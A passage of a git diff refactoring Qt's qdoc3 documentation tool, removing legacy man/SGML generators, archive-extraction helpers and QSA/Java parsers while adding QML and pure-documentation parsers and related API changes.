+ foreach (CodeParser *codeParser, usedParsers)
+ codeParser->doneParsingSourceFiles(tree);
/*
Now the big tree has been built from all the header and
@@ -358,7 +313,7 @@ static void processQdocconfFile(const QString &fileName)
if (generator == 0)
outputFormatsLocation.fatal(tr("Unknown output format '%1'")
.arg(*of));
- generator->generateTree(tree, marker);
+ generator->generateTree(tree);
++of;
}
@@ -374,7 +329,6 @@ static void processQdocconfFile(const QString &fileName)
Generator::terminate();
CodeParser::terminate();
CodeMarker::terminate();
- CppToQsConverter::terminate();
Doc::terminate();
Tokenizer::terminate();
Location::terminate();
@@ -401,52 +355,24 @@ int main(int argc, char **argv)
#ifndef QT_BOOTSTRAPPED
QCoreApplication app(argc, argv);
#endif
- QString cf = "qsauncompress \1 \2";
- PolyArchiveExtractor qsaExtractor(QStringList() << "qsa",cf);
- cf = "tar -C \2 -xf \1";
- PolyArchiveExtractor tarExtractor(QStringList() << "tar",cf);
- cf = "tar -C \2 -Zxf \1";
- PolyArchiveExtractor tazExtractor(QStringList() << "taz",cf);
- cf = "tar -C \2 -jxf \1";
- PolyArchiveExtractor tbz2Extractor(QStringList() << "tbz" << "tbz2",cf);
- cf = "tar -C \2 -zxf \1";
- PolyArchiveExtractor tgzExtractor(QStringList() << "tgz",cf);
- cf = "unzip \1 -d \2";
- PolyArchiveExtractor zipExtractor(QStringList() << "zip",cf);
- cf = "bunzip2 -c \1 > \2";
- PolyUncompressor bz2Uncompressor(QStringList() << "bz" << "bz2",cf);
- cf = "gunzip -c \1 > \2";
- PolyUncompressor gzAndZUncompressor(QStringList() << "gz" << "z" << "Z",cf);
- cf = "unzip -c \1 > \2";
- PolyUncompressor zipUncompressor(QStringList() << "zip",cf);
/*
Create code parsers for the languages to be parsed,
and create a tree for C++.
*/
CppCodeParser cppParser;
- Tree *cppTree = treeForLanguage(cppParser.language());
-
- QsCodeParser qsParser(cppTree);
- QsaKernelParser qsaKernelParser(cppTree);
- JambiApiParser jambiParser(cppTree);
+ QmlCodeParser qmlParser;
+ PureDocParser docParser;
/*
- Create code markers for plain text, C++, Java, and qs.
+ Create code markers for plain text and C++.
*/
PlainCodeMarker plainMarker;
CppCodeMarker cppMarker;
- JavaCodeMarker javaMarker;
- QsCodeMarker qsMarker;
+ JsCodeMarker jsMarker;
+ QmlCodeMarker qmlMarker;
- ApiGenerator apiGenerator;
HtmlGenerator htmlGenerator;
- JavadocGenerator javadocGenerator;
- LinguistGenerator linguistGenerator;
- LoutGenerator loutGenerator;
- ManGenerator manGenerator;
- SgmlGenerator smglGenerator;
- WebXMLGenerator webxmlGenerator;
DitaXmlGenerator ditaxmlGenerator;
QStringList qdocFiles;
@@ -481,10 +407,6 @@ int main(int argc, char **argv)
else if (opt == "-obsoletelinks") {
obsoleteLinks = true;
}
- else if (opt == "-creator")
- appArg = "creator";
- else if (opt == "-online")
- appArg = "online";
else {
qdocFiles.append(opt);
}
diff --git a/tools/qdoc3/mangenerator.cpp b/tools/qdoc3/mangenerator.cpp
deleted file mode 100644
index 05fa3bf..0000000
--- a/tools/qdoc3/mangenerator.cpp
+++ /dev/null
@@ -1,228 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- mangenerator.cpp
-*/
-
-#include <qdatetime.h>
-#include <qregexp.h>
-
-#include "mangenerator.h"
-#include "node.h"
-#include "tree.h"
-
-QT_BEGIN_NAMESPACE
-
-ManGenerator::ManGenerator()
-{
- date = QDate::currentDate().toString( "d MMMM yyyy" );
-}
-
-ManGenerator::~ManGenerator()
-{
-}
-
-QString ManGenerator::format()
-{
- return "man";
-}
-
-int ManGenerator::generateAtom( const Atom *atom, const Node * /* relative */,
- CodeMarker * /* marker */ )
-{
-#if 0
- switch ( atom->type() ) {
- case Atom::AbstractBegin:
- break;
- case Atom::AbstractEnd:
- break;
- case Atom::Alias:
- break;
- case Atom::AliasArg:
- break;
- case Atom::BaseName:
- break;
- case Atom::BriefBegin:
- break;
- case Atom::BriefEnd:
- break;
- case Atom::C:
- break;
- case Atom::CaptionBegin:
- break;
- case Atom::CaptionEnd:
- break;
- case Atom::CitationBegin:
- break;
- case Atom::CitationEnd:
- break;
- case Atom::Code:
- break;
- case Atom::FootnoteBegin:
- break;
- case Atom::FootnoteEnd:
- break;
- case Atom::FormatBegin:
- break;
- case Atom::FormatEnd:
- break;
- case Atom::GeneratedList:
- break;
- case Atom::Image:
- break;
- case Atom::ImageText:
- break;
- case Atom::Link:
- break;
- case Atom::LinkNode:
- break;
- case Atom::ListBegin:
- break;
- case Atom::ListItemNumber:
- break;
- case Atom::ListItemBegin:
- out() << ".IP " << atom->string() << ".\n";
- break;
- case Atom::ListItemEnd:
- break;
- case Atom::ListEnd:
- break;
- case Atom::Nop:
- break;
- case Atom::ParaBegin:
- out() << ".PP\n";
- break;
- case Atom::ParaEnd:
- out() << "\n";
- break;
- case Atom::RawFormat:
- break;
- case Atom::RawString:
- break;
- case Atom::SectionBegin:
- break;
- case Atom::SectionEnd:
- break;
- case Atom::SectionHeadingBegin:
- break;
- case Atom::SectionHeadingEnd:
- break;
- case Atom::SidebarBegin:
- break;
- case Atom::SidebarEnd:
- break;
- case Atom::String:
- out() << protectTextLine( atom->string() );
- break;
- case Atom::TableBegin:
- break;
- case Atom::TableEnd:
- break;
- case Atom::TableOfContents:
- break;
- case Atom::Target:
- break;
- case Atom::UnknownCommand:
- ;
- }
-#endif
- unknownAtom( atom );
- return 0;
-}
-
-void ManGenerator::generateClassLikeNode( const InnerNode *classe,
- CodeMarker *marker )
-{
- generateHeader( classe->name() );
- out() << ".SH NAME\n"
- << classe->name() << "\n"
- << ".SH SYNOPSYS\n";
- generateBody( classe, marker );
- generateFooter();
-}
-
-void ManGenerator::generateFakeNode( const FakeNode *fake, CodeMarker *marker )
-{
- generateHeader( "foo" );
- generateBody( fake, marker );
- generateFooter();
-}
-
-QString ManGenerator::fileExtension(const Node * /* node */) const
-{
- return "3qt";
-}
-
-void ManGenerator::generateHeader( const QString& name )
-{
- out() << ".TH " << protectArg( name )
- << " " << protectArg( "3qt" )
- << " " << protectArg( date )
- << " " << protectArg( "Nokia Corporation and/or its subsidiary(-ies)" )
- << " " << protectArg( "Qt Toolkit" ) << "\n";
-}
-
-void ManGenerator::generateFooter()
-{
-}
-
-QString ManGenerator::protectArg( const QString& str )
-{
- for ( int i = 0; i < (int) str.length(); i++ ) {
- if ( str[i] == ' ' || str[i].isSpace() ) {
- QString quoted = str;
- quoted.replace( "\"", "\"\"" );
- return "\"" + quoted + "\"";
- }
- }
- return str;
-}
-
-QString ManGenerator::protectTextLine( const QString& str )
-{
- QString t = str;
- if ( t.startsWith(".") || t.startsWith("'") )
- t.prepend( "\\&" );
- return t;
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp
index 34cbbdb..7195322 100644
--- a/tools/qdoc3/node.cpp
+++ b/tools/qdoc3/node.cpp
@@ -46,6 +46,7 @@
#include "node.h"
#include "tree.h"
#include "codemarker.h"
+#include <QUuid>
#include <qdebug.h>
QT_BEGIN_NAMESPACE
@@ -103,7 +104,6 @@ Node::Node(Type type, InnerNode *parent, const QString& name)
{
if (par)
par->addChild(this);
- //uuid = QUuid::createUuid();
}
/*!
@@ -270,14 +270,16 @@ QString Node::fileBase() const
}
/*!
- Returns this node's Universally Unique IDentifier.
- If its UUID has not yet been created, it is created
- first.
+ Returns this node's Universally Unique IDentifier as a
+ QString. Creates the UUID first, if it has not been created.
*/
-QUuid Node::guid() const
+QString Node::guid() const
{
- if (uuid.isNull())
- uuid = QUuid::createUuid();
+ if (uuid.isEmpty()) {
+ QUuid quuid = QUuid::createUuid();
+ QString t = quuid.toString();
+ uuid = "id-" + t.mid(1,t.length()-2);
+ }
return uuid;
}
@@ -1152,8 +1154,8 @@ QString Parameter::reconstruct(bool value) const
if (!p.endsWith(QChar('*')) && !p.endsWith(QChar('&')) && !p.endsWith(QChar(' ')))
p += " ";
p += nam;
- if (value)
- p += def;
+ if (value && !def.isEmpty())
+ p += " = " + def;
return p;
}
@@ -1362,6 +1364,21 @@ QString FunctionNode::signature(bool values) const
}
/*!
+ Returns true if the node's status is Internal, or if its
+ parent is a class with internal status.
+ */
+bool FunctionNode::isInternal() const
+{
+ if (status() == Internal)
+ return true;
+ if (parent() && parent()->status() == Internal)
+ return true;
+ if (relates() && relates()->status() == Internal)
+ return true;
+ return false;
+}
+
+/*!
Print some debugging stuff.
*/
void FunctionNode::debug() const
@@ -1545,11 +1562,6 @@ void QmlClassNode::clear()
*/
QString QmlClassNode::fileBase() const
{
-#if 0
- if (Node::fileBase() == "item")
- qDebug() << "FILEBASE: qmlitem" << name();
- return "qml_" + Node::fileBase();
-#endif
return Node::fileBase();
}
@@ -1681,10 +1693,13 @@ static QString valueType(const QString& n)
read-only. The algorithm for figuring this out is long
amd tedious and almost certainly will break. It currently
doesn't work for qmlproperty bool PropertyChanges::explicit,
- because the tokenized gets confused on "explicit" .
+ because the tokenizer gets confused on "explicit".
*/
bool QmlPropertyNode::isWritable(const Tree* tree) const
{
+ if (wri != Trool_Default)
+ return fromTrool(wri, false);
+
Node* n = parent();
while (n && n->subType() != Node::QmlClass)
n = n->parent();
diff --git a/tools/qdoc3/node.h b/tools/qdoc3/node.h
index 4fcbade..aa7c78a 100644
--- a/tools/qdoc3/node.h
+++ b/tools/qdoc3/node.h
@@ -55,7 +55,6 @@
#include "doc.h"
#include "location.h"
#include "text.h"
-#include <QUuid>
QT_BEGIN_NAMESPACE
@@ -87,8 +86,8 @@ class Node
enum SubType {
NoSubType,
- Example,
- HeaderFile,
+ Example,
+ HeaderFile,
File,
Image,
Group,
@@ -114,7 +113,7 @@ class Node
Commendable,
Main,
Internal
- }; // don't reorder thisw enum
+ }; // don't reorder this enum
enum ThreadSafeness {
UnspecifiedSafeness,
@@ -165,6 +164,7 @@ class Node
virtual bool isReimp() const { return false; }
virtual bool isFunction() const { return false; }
virtual bool isQmlNode() const { return false; }
+ virtual bool isInternal() const { return false; }
Type type() const { return typ; }
virtual SubType subType() const { return NoSubType; }
InnerNode* parent() const { return par; }
@@ -191,7 +191,7 @@ class Node
void clearRelated() { rel = 0; }
virtual QString fileBase() const;
- QUuid guid() const;
+ QString guid() const;
QString ditaXmlHref();
QString extractClassName(const QString &string) const;
@@ -223,7 +223,7 @@ class Node
QString u;
QString sinc;
QString tpl;
- mutable QUuid uuid;
+ mutable QString uuid;
};
class FunctionNode;
@@ -637,6 +637,7 @@ class FunctionNode : public LeafNode
virtual bool isQmlNode() const {
return ((type() == QmlSignal) || (type() == QmlMethod));
}
+ virtual bool isInternal() const;
void debug() const;
diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp
index 3e160c9..d5564f7 100644
--- a/tools/qdoc3/pagegenerator.cpp
+++ b/tools/qdoc3/pagegenerator.cpp
@@ -46,6 +46,7 @@
#include <qfile.h>
#include <qfileinfo.h>
#include <qdebug.h>
+#include "codemarker.h"
#include "pagegenerator.h"
#include "tree.h"
@@ -55,6 +56,7 @@ QT_BEGIN_NAMESPACE
Nothing to do in the constructor.
*/
PageGenerator::PageGenerator()
+ : outputCodec(0)
{
// nothing.
}
@@ -175,9 +177,9 @@ bool PageGenerator::parseArg(const QString& src,
/*!
This function is recursive.
*/
-void PageGenerator::generateTree(const Tree *tree, CodeMarker *marker)
+void PageGenerator::generateTree(const Tree *tree)
{
- generateInnerNode(tree->root(), marker);
+ generateInnerNode(tree->root());
}
QString PageGenerator::fileBase(const Node *node) const
@@ -204,15 +206,15 @@ QString PageGenerator::fileBase(const Node *node) const
#ifdef QDOC_QML
/*
To avoid file name conflicts in the html directory,
- we prepend "qml-" to the file name of QML element doc
- files.
+ we prepend a prefix (by default, "qml-") to the file name of QML
+ element doc files.
*/
if ((p->subType() == Node::QmlClass) ||
(p->subType() == Node::QmlBasicType)) {
if (!base.startsWith(QLatin1String("QML:")))
- base.prepend("qml-");
+ base.prepend(outputPrefix(QLatin1String("QML")));
}
-#endif
+#endif
if (!pp || pp->name().isEmpty() || pp->type() == Node::Fake)
break;
base.prepend(QLatin1Char('-'));
@@ -257,7 +259,12 @@ QString PageGenerator::fileBase(const Node *node) const
return res;
}
-QString PageGenerator::fileName(const Node *node) const
+/*!
+ If the \a node has a URL, return the URL as the file name.
+ Otherwise, construct the file name from the fileBase() and
+ the fileExtension(), and return the constructed name.
+ */
+QString PageGenerator::fileName(const Node* node) const
{
if (!node->url().isEmpty())
return node->url();
@@ -268,23 +275,37 @@ QString PageGenerator::fileName(const Node *node) const
return name;
}
+/*!
+ Return the current output file name.
+ */
QString PageGenerator::outFileName()
{
- return QFileInfo(static_cast<QFile *>(out().device())->fileName()).fileName();
+ return QFileInfo(static_cast<QFile*>(out().device())->fileName()).fileName();
}
+/*!
+ Creates the file named \a fileName in the output directory.
+ Attaches a QTextStream to the created file, which is written
+ to all over the place using out().
+ */
void PageGenerator::beginSubPage(const Location& location,
const QString& fileName)
{
- QFile *outFile = new QFile(outputDir() + "/" + fileName);
+ QFile* outFile = new QFile(outputDir() + "/" + fileName);
if (!outFile->open(QFile::WriteOnly))
- location.fatal(tr("Cannot open output file '%1'")
- .arg(outFile->fileName()));
- QTextStream *out = new QTextStream(outFile);
- out->setCodec(outputCodec);
+ location.fatal(tr("Cannot open output file '%1'").arg(outFile->fileName()));
+ QTextStream* out = new QTextStream(outFile);
+
+ if (outputCodec)
+ out->setCodec(outputCodec);
outStreamStack.push(out);
}
+/*!
+ Flush the text stream associated with the subpage, and
+ then pop it off the text stream stack and delete it.
+ This terminates output of the subpage.
+ */
void PageGenerator::endSubPage()
{
outStreamStack.top()->flush();
@@ -292,16 +313,21 @@ void PageGenerator::endSubPage()
delete outStreamStack.pop();
}
+/*!
+ Used for writing to the current output stream. Returns a
+ reference to the crrent output stream, which is then used
+ with the \c {<<} operator for writing.
+ */
QTextStream &PageGenerator::out()
{
return *outStreamStack.top();
}
/*!
- Recursive writing of html files from the root \a node.
+ Recursive writing of HTML files from the root \a node.
*/
void
-PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker)
+PageGenerator::generateInnerNode(const InnerNode* node)
{
if (!node->url().isNull())
return;
@@ -320,6 +346,11 @@ PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker)
}
}
+ /*
+ Obtain a code marker for the source file.
+ */
+ CodeMarker *marker = CodeMarker::markerForFileName(node->location().filePath());
+
if (node->parent() != 0) {
beginSubPage(node->location(), fileName(node));
if (node->type() == Node::Namespace || node->type() == Node::Class) {
@@ -334,7 +365,7 @@ PageGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker)
NodeList::ConstIterator c = node->childNodes().begin();
while (c != node->childNodes().end()) {
if ((*c)->isInnerNode() && (*c)->access() != Node::Private)
- generateInnerNode((const InnerNode *) *c, marker);
+ generateInnerNode((const InnerNode *) *c);
++c;
}
}
diff --git a/tools/qdoc3/pagegenerator.h b/tools/qdoc3/pagegenerator.h
index 602a061..27e483b 100644
--- a/tools/qdoc3/pagegenerator.h
+++ b/tools/qdoc3/pagegenerator.h
@@ -48,14 +48,12 @@
#include <QStack>
#include <qtextstream.h>
-
#include "generator.h"
#include "location.h"
QT_BEGIN_NAMESPACE
class QTextCodec;
-
class ClassNode;
class InnerNode;
class NamespaceNode;
@@ -66,16 +64,16 @@ class PageGenerator : public Generator
PageGenerator();
~PageGenerator();
- virtual void generateTree(const Tree *tree, CodeMarker *marker);
+ virtual void generateTree(const Tree *tree);
protected:
- virtual QString fileBase(const Node *node) const;
- virtual QString fileExtension(const Node *node) const = 0;
- QString fileName(const Node *node) const;
+ virtual QString fileBase(const Node* node) const;
+ virtual QString fileExtension(const Node* node) const = 0;
+ QString fileName(const Node* node) const;
QString outFileName();
- void beginSubPage(const Location& location, const QString& fileName);
- void endSubPage();
- virtual void generateInnerNode(const InnerNode *node, CodeMarker *marker);
+ virtual void beginSubPage(const Location& location, const QString& fileName);
+ virtual void endSubPage();
+ virtual void generateInnerNode(const InnerNode *node);
QTextStream& out();
QString naturalLanguage;
@@ -89,7 +87,7 @@ class PageGenerator : public Generator
QStringRef* par1 = 0,
bool debug = false);
- private:
+ protected:
QStack<QTextStream*> outStreamStack;
};
diff --git a/tools/qdoc3/plaincodemarker.cpp b/tools/qdoc3/plaincodemarker.cpp
index b3eae80..edeee39 100644
--- a/tools/qdoc3/plaincodemarker.cpp
+++ b/tools/qdoc3/plaincodemarker.cpp
@@ -66,6 +66,11 @@ bool PlainCodeMarker::recognizeLanguage( const QString& /* lang */ )
return false;
}
+Atom::Type PlainCodeMarker::atomType() const
+{
+ return Atom::Code;
+}
+
QString PlainCodeMarker::plainName( const Node * /* node */ )
{
return "";
@@ -78,7 +83,7 @@ QString PlainCodeMarker::plainFullName(const Node * /* node */, const Node * /*
QString PlainCodeMarker::markedUpCode( const QString& code,
const Node * /* relative */,
- const QString& /* dirPath */ )
+ const Location & /* location */ )
{
return protect( code );
}
diff --git a/tools/qdoc3/plaincodemarker.h b/tools/qdoc3/plaincodemarker.h
index bc63b86..3c39e12 100644
--- a/tools/qdoc3/plaincodemarker.h
+++ b/tools/qdoc3/plaincodemarker.h
@@ -59,9 +59,10 @@ public:
bool recognizeCode( const QString& code );
bool recognizeExtension( const QString& ext );
bool recognizeLanguage( const QString& lang );
+ Atom::Type atomType() const;
QString plainName( const Node *node );
QString plainFullName( const Node *node, const Node *relative );
- QString markedUpCode( const QString& code, const Node *relative, const QString& dirPath );
+ QString markedUpCode( const QString& code, const Node *relative, const Location &location );
QString markedUpSynopsis( const Node *node, const Node *relative,
SynopsisStyle style );
QString markedUpName( const Node *node );
diff --git a/tools/qdoc3/polyuncompressor.cpp b/tools/qdoc3/polyuncompressor.cpp
deleted file mode 100644
index b67c8fe..0000000
--- a/tools/qdoc3/polyuncompressor.cpp
+++ /dev/null
@@ -1,109 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include "command.h"
-#include "polyuncompressor.h"
-
-QT_BEGIN_NAMESPACE
-
-/*!
- \class PolyUncompressor
-
- \brief The PolyUncompressor class is a class for uncompressing
- compressed files.
-
- This subclass of Uncompressor contains a parameterized
- command for doing the uncompression
-
- It has an uncompressFile() function you call to do the
- actual uncompression.
- */
-
-/*!
- The constructor takes the list of filename \a extensions,
- which it passes to the base class, and the \a commandFormat,
- which it stores locally. The \a commandFormat is a command
- template string.
- */
-PolyUncompressor::PolyUncompressor( const QStringList& extensions,
- const QString& commandFormat )
- : Uncompressor( extensions ), cmd( commandFormat )
-{
-}
-
-/*!
- The destructor doesn't have to do anything.
- */
-PolyUncompressor::~PolyUncompressor()
-{
-}
-
-/*!
- From \a filePath, derive a file path for the uncompressed
- file and return it. If it can't figure out what the file
- path should be, it just concatenates ".out" to the
- \a filePath and returns that.
- */
-QString PolyUncompressor::uncompressedFilePath( const QString& filePath )
-{
- QStringList::ConstIterator e = fileExtensions().begin();
- while ( e != fileExtensions().end() ) {
- QString dotExt = "." + *e;
- if ( filePath.endsWith(dotExt) )
- return filePath.left( filePath.length() - dotExt.length() );
- ++e;
- }
- return filePath + ".out"; // doesn't really matter
-}
-
-/*!
- Call this function to do the actual uncompressing. It calls
- the executeCommand() function to do the work. That's all it does.
- */
-void PolyUncompressor::uncompressFile( const Location& location,
- const QString& filePath,
- const QString& outputFilePath )
-{
- executeCommand( location, cmd,
- QStringList() << filePath << outputFilePath );
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/polyuncompressor.h b/tools/qdoc3/polyuncompressor.h
deleted file mode 100644
index c485d04..0000000
--- a/tools/qdoc3/polyuncompressor.h
+++ /dev/null
@@ -1,71 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file. Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights. These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-/*
- polyuncompressor.h
-*/
-
-#ifndef POLYUNCOMPRESSOR_H
-#define POLYUNCOMPRESSOR_H
-
-#include "uncompressor.h"
-
-QT_BEGIN_NAMESPACE
-
-class PolyUncompressor : public Uncompressor
-{
- public:
- PolyUncompressor(const QStringList& extensions,
- const QString& commandFormat);
- ~PolyUncompressor();
-
- virtual QString uncompressedFilePath(const QString& filePath);
- virtual void uncompressFile(const Location& location,
- const QString& filePath,
- const QString& outputFilePath);
-
- private:
- QString cmd;
-};
-
-QT_END_NAMESPACE
-
-#endif
diff --git a/tools/qdoc3/sgmlgenerator.cpp b/tools/qdoc3/puredocparser.cpp
index 1e2e6c9..7b203cf 100644
--- a/tools/qdoc3/sgmlgenerator.cpp
+++ b/tools/qdoc3/puredocparser.cpp
@@ -40,24 +40,24 @@
****************************************************************************/
/*
- sgmlgenerator.cpp
+ puredocparser.cpp
*/
-#include "sgmlgenerator.h"
+#include "puredocparser.h"
QT_BEGIN_NAMESPACE
-SgmlGenerator::SgmlGenerator()
+PureDocParser::PureDocParser()
{
}
-SgmlGenerator::~SgmlGenerator()
+PureDocParser::~PureDocParser()
{
}
-QString SgmlGenerator::format()
+QStringList PureDocParser::sourceFileNameFilter()
{
- return "SGML";
+ return QStringList("*.qdoc");
}
QT_END_NAMESPACE
diff --git a/tools/qdoc3/ccodeparser.h b/tools/qdoc3/puredocparser.h
index af004b8..e0b41ab 100644
--- a/tools/qdoc3/ccodeparser.h
+++ b/tools/qdoc3/puredocparser.h
@@ -40,25 +40,31 @@
****************************************************************************/
/*
- ccodeparser.h
+ puredocparser.h
*/
-#ifndef CCODEPARSER_H
-#define CCODEPARSER_H
+#ifndef PUREDOCPARSER_H
+#define PUREDOCPARSER_H
+
+#include <QSet>
#include "cppcodeparser.h"
+#include "location.h"
QT_BEGIN_NAMESPACE
-class CCodeParser : public CppCodeParser
+class Config;
+class Node;
+class QString;
+class Tree;
+
+class PureDocParser : public CppCodeParser
{
public:
- CCodeParser();
- ~CCodeParser();
+ PureDocParser();
+ virtual ~PureDocParser();
- virtual QString language();
- virtual QString headerFileNameFilter();
- virtual QString sourceFileNameFilter();
+ virtual QStringList sourceFileNameFilter();
};
QT_END_NAMESPACE
diff --git a/tools/qdoc3/qdoc3.pro b/tools/qdoc3/qdoc3.pro
index d47e066..2fedc0f 100644
--- a/tools/qdoc3/qdoc3.pro
+++ b/tools/qdoc3/qdoc3.pro
@@ -24,98 +24,72 @@ build_all:!build_pass {
}
CONFIG -= app_bundle
-HEADERS += apigenerator.h \
- archiveextractor.h \
- atom.h \
- bookgenerator.h \
- ccodeparser.h \
+HEADERS += atom.h \
codechunk.h \
codemarker.h \
codeparser.h \
- command.h \
config.h \
cppcodemarker.h \
cppcodeparser.h \
- cpptoqsconverter.h \
- dcfsection.h \
ditaxmlgenerator.h \
doc.h \
editdistance.h \
generator.h \
helpprojectwriter.h \
htmlgenerator.h \
- jambiapiparser.h \
- javacodemarker.h \
- javadocgenerator.h \
- linguistgenerator.h \
+ jscodemarker.h \
location.h \
- loutgenerator.h \
- mangenerator.h \
node.h \
openedlist.h \
pagegenerator.h \
plaincodemarker.h \
- polyarchiveextractor.h \
- polyuncompressor.h \
- qsakernelparser.h \
- qscodemarker.h \
- qscodeparser.h \
+ puredocparser.h \
+ qmlcodemarker.h \
+ qmlcodeparser.h \
+ qmlmarkupvisitor.h \
+ qmlvisitor.h \
quoter.h \
separator.h \
- sgmlgenerator.h \
text.h \
tokenizer.h \
tr.h \
- tree.h \
- uncompressor.h \
- webxmlgenerator.h
-SOURCES += apigenerator.cpp \
- archiveextractor.cpp \
- atom.cpp \
- bookgenerator.cpp \
- ccodeparser.cpp \
+ tree.h
+SOURCES += atom.cpp \
codechunk.cpp \
codemarker.cpp \
codeparser.cpp \
- command.cpp \
config.cpp \
cppcodemarker.cpp \
cppcodeparser.cpp \
- cpptoqsconverter.cpp \
- dcfsection.cpp \
ditaxmlgenerator.cpp \
doc.cpp \
editdistance.cpp \
generator.cpp \
helpprojectwriter.cpp \
htmlgenerator.cpp \
- jambiapiparser.cpp \
- javacodemarker.cpp \
- javadocgenerator.cpp \
- linguistgenerator.cpp \
+ jscodemarker.cpp \
location.cpp \
- loutgenerator.cpp \
- mangenerator.cpp \
main.cpp \
node.cpp \
openedlist.cpp \
pagegenerator.cpp \
plaincodemarker.cpp \
- polyarchiveextractor.cpp \
- polyuncompressor.cpp \
- qsakernelparser.cpp \
- qscodemarker.cpp \
- qscodeparser.cpp \
+ puredocparser.cpp \
+ qmlcodemarker.cpp \
+ qmlcodeparser.cpp \
+ qmlmarkupvisitor.cpp \
+ qmlvisitor.cpp \
quoter.cpp \
separator.cpp \
- sgmlgenerator.cpp \
text.cpp \
tokenizer.cpp \
tree.cpp \
- uncompressor.cpp \
- webxmlgenerator.cpp \
yyindent.cpp
+INCLUDEPATH += $$QT_BUILD_TREE/include/QtDeclarative
+
+include($$QT_SOURCE_TREE/src/declarative/qml/parser/parser.pri)
+
### Documentation for qdoc3 ###
qtPrepareTool(QDOC, qdoc3)
diff --git a/tools/qdoc3/qmlcodemarker.cpp b/tools/qdoc3/qmlcodemarker.cpp
new file mode 100644
index 0000000..a7dc5a0
--- /dev/null
+++ b/tools/qdoc3/qmlcodemarker.cpp
@@ -0,0 +1,302 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file. Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*
+ qmlcodemarker.cpp
+*/
+
+#include "private/qdeclarativejsast_p.h"
+#include "private/qdeclarativejsastfwd_p.h"
+#include "private/qdeclarativejsengine_p.h"
